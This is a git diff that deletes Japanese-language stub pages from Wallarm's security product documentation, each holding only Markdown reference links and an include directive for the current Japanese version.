-[alibaba-ecs-docs]: ../../../cloud-platforms/alibaba-cloud/docker-container.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[inline-docs]: ../../../inline/overview.md -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/gcp/gce.md b/docs/ja/installation/inline/compute-instances/gcp/gce.md deleted file mode 100644 index b4ef07d60a..0000000000 --- a/docs/ja/installation/inline/compute-instances/gcp/gce.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/gcp/machine-image.md b/docs/ja/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index 91496438af..0000000000 --- a/docs/ja/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md -[inline-docs]: ../../overview.md - ---8<-- "latest-ja/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/compute-instances/linux/all-in-one.md b/docs/ja/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index 7b8c3c8fda..0000000000 --- a/docs/ja/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[inline-docs]: ../../overview.md -[upgrade-docs]: ../../../../updating-migrating/all-in-one.md -[download-aio-step]: #step-3-download-all-in-one-wallarm-installer -[enable-traffic-analysis-step]: #step-5-enable-wallarm-node-to-analyze-traffic -[restart-nginx-step]: #step-6-restart-nginx -[separate-postanalytics-installation-aio]: ../../../../admin-en/installation-postanalytics-en.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md -[threat-replay-testing-docs]: ../../../../vulnerability-detection/threat-replay-testing/overview.md -[api-discovery-docs]: ../../../../api-discovery/overview.md -[api-sessions-docs]: ../../../../api-sessions/overview.md -[vuln-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md -[masking-sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ja/installation/inline/compute-instances/linux/all-in-one.md" diff --git a/docs/ja/installation/inline/kubernetes/nginx-ingress-controller.md b/docs/ja/installation/inline/kubernetes/nginx-ingress-controller.md deleted file mode 100644 index cf2a26645d..0000000000 --- a/docs/ja/installation/inline/kubernetes/nginx-ingress-controller.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-list-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[nginx-ing-image]: ../../../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: ../../../admin-en/configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: ../../../admin-en/configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[chaining-doc]: ../../../admin-en/chaining-wallarm-and-other-ingress-controllers.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md - ---8<-- "latest-ja/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/kubernetes/sidecar-proxy/customization.md b/docs/ja/installation/inline/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 1157f2e0a6..0000000000 --- a/docs/ja/installation/inline/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -search: - exclude: true ---- - -[single-split-containers-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../../quickstart/attack-prevention-best-practices.md -[sidecar-upgrade-docs]: ../../../../updating-migrating/sidecar-proxy.md - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/kubernetes/sidecar-proxy/deployment.md b/docs/ja/installation/inline/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index ecc8cad772..0000000000 --- a/docs/ja/installation/inline/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[cred-stuffing-docs]: ../../../../about-wallarm/credential-stuffing.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/ja/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index a6d07886b3..0000000000 --- a/docs/ja/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-upgrade-docs]: ../../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../../about-wallarm/overview.md#cloud -[eu-cloud-docs]: ../../../../about-wallarm/overview.md#cloud -[configure-wallarm-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#core-subscription-plans -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md b/docs/ja/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 905105258f..0000000000 --- a/docs/ja/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[applications-docs]: ../../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[wallarm-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#core-subscription-plans -[denylist-docs]: ../../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/kubernetes/sidecar-proxy/scaling.md b/docs/ja/installation/inline/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 3eb01455ba..0000000000 --- a/docs/ja/installation/inline/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[wstore-memory-recommendations]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md#wstore -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/ja/installation/inline/overview.md b/docs/ja/installation/inline/overview.md deleted file mode 100644 index 0ac3194a48..0000000000 --- a/docs/ja/installation/inline/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/inline/overview.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/ebpf/deployment.md b/docs/ja/installation/kubernetes/ebpf/deployment.md deleted file mode 100644 index 632fa350fb..0000000000 --- a/docs/ja/installation/kubernetes/ebpf/deployment.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/ebpf/helm-chart-for-wallarm.md b/docs/ja/installation/kubernetes/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index 87ac08b345..0000000000 --- a/docs/ja/installation/kubernetes/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/ebpf/selecting-packets.md b/docs/ja/installation/kubernetes/ebpf/selecting-packets.md deleted file mode 100644 index 28da90b161..0000000000 --- a/docs/ja/installation/kubernetes/ebpf/selecting-packets.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/sidecar-proxy/customization.md b/docs/ja/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 1ec4051572..0000000000 --- a/docs/ja/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,9 +0,0 @@ -[single-split-containers-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../quickstart/attack-prevention-best-practices.md -[sidecar-upgrade-docs]: ../../../updating-migrating/sidecar-proxy.md - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/sidecar-proxy/deployment.md b/docs/ja/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 31f86b747b..0000000000 --- a/docs/ja/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,15 +0,0 @@ -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[cred-stuffing-docs]: ../../../about-wallarm/credential-stuffing.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index 875e0a2807..0000000000 --- a/docs/ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,15 +0,0 @@ -[sidecar-upgrade-docs]: ../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../about-wallarm/overview.md#cloud -[eu-cloud-docs]: ../../../about-wallarm/overview.md#cloud -[configure-wallarm-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#core-subscription-plans -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/ja/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 2f35a70ec9..0000000000 --- a/docs/ja/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,15 +0,0 @@ -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[applications-docs]: ../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[wallarm-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#core-subscription-plans -[denylist-docs]: ../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/ja/installation/kubernetes/sidecar-proxy/scaling.md b/docs/ja/installation/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 9cd4a157c6..0000000000 --- a/docs/ja/installation/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,8 +0,0 @@ -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[wstore-memory-recommendations]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md#wstore -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-ja/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/ja/installation/multi-tenant/configure-accounts.md b/docs/ja/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index b501f0e464..0000000000 --- a/docs/ja/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/multi-tenant/configure-accounts.md" \ No newline at end of file diff --git a/docs/ja/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/ja/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index 4e0d4755ae..0000000000 --- a/docs/ja/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/multi-tenant/deploy-multi-tenant-node.md" \ No newline at end of file diff --git a/docs/ja/installation/multi-tenant/overview.md b/docs/ja/installation/multi-tenant/overview.md deleted file mode 100644 index 69a7928958..0000000000 --- a/docs/ja/installation/multi-tenant/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/multi-tenant/overview.md" \ No newline at end of file diff --git a/docs/ja/installation/native-node/all-in-one-conf.md b/docs/ja/installation/native-node/all-in-one-conf.md deleted file mode 100644 index fd128ca25c..0000000000 --- a/docs/ja/installation/native-node/all-in-one-conf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/native-node/all-in-one-conf.md" \ No newline at end of file diff --git a/docs/ja/installation/native-node/all-in-one.md b/docs/ja/installation/native-node/all-in-one.md deleted file mode 100644 index 7a24c3f8b0..0000000000 --- a/docs/ja/installation/native-node/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/native-node/all-in-one.md" \ No newline at end of file diff --git a/docs/ja/installation/native-node/aws-ami.md b/docs/ja/installation/native-node/aws-ami.md deleted file mode 100644 index 2604f9f78d..0000000000 --- a/docs/ja/installation/native-node/aws-ami.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/native-node/aws-ami.md" diff --git a/docs/ja/installation/native-node/docker-image.md b/docs/ja/installation/native-node/docker-image.md deleted file mode 100644 index 140a766116..0000000000 --- a/docs/ja/installation/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/ja/installation/native-node/helm-chart-conf.md b/docs/ja/installation/native-node/helm-chart-conf.md deleted file mode 100644 index 3d88ecfb16..0000000000 --- a/docs/ja/installation/native-node/helm-chart-conf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/native-node/helm-chart-conf.md" \ No newline at end of file diff --git a/docs/ja/installation/native-node/helm-chart.md b/docs/ja/installation/native-node/helm-chart.md deleted file mode 100644 index aed7afb7d6..0000000000 --- a/docs/ja/installation/native-node/helm-chart.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/native-node/helm-chart.md" \ No newline at end of file diff --git a/docs/ja/installation/nginx-native-node-internals.md b/docs/ja/installation/nginx-native-node-internals.md deleted file mode 100644 index 3a6ccbb2b6..0000000000 --- a/docs/ja/installation/nginx-native-node-internals.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/nginx-native-node-internals.md" \ No newline at end of file diff --git a/docs/ja/installation/nginx/all-in-one.md b/docs/ja/installation/nginx/all-in-one.md deleted file mode 100644 index 9576666e1e..0000000000 --- a/docs/ja/installation/nginx/all-in-one.md +++ /dev/null @@ -1,45 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[platform]: ../supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[inline-docs]: ../inline/overview.md -[upgrade-docs]: ../../updating-migrating/all-in-one.md -[download-aio-step]: #step-3-download-all-in-one-wallarm-installer -[enable-traffic-analysis-step]: #step-5-enable-wallarm-node-to-analyze-traffic -[restart-nginx-step]: #step-6-restart-nginx -[separate-postanalytics-installation-aio]: ../../admin-en/installation-postanalytics-en.md -[api-spec-enforcement-docs]: 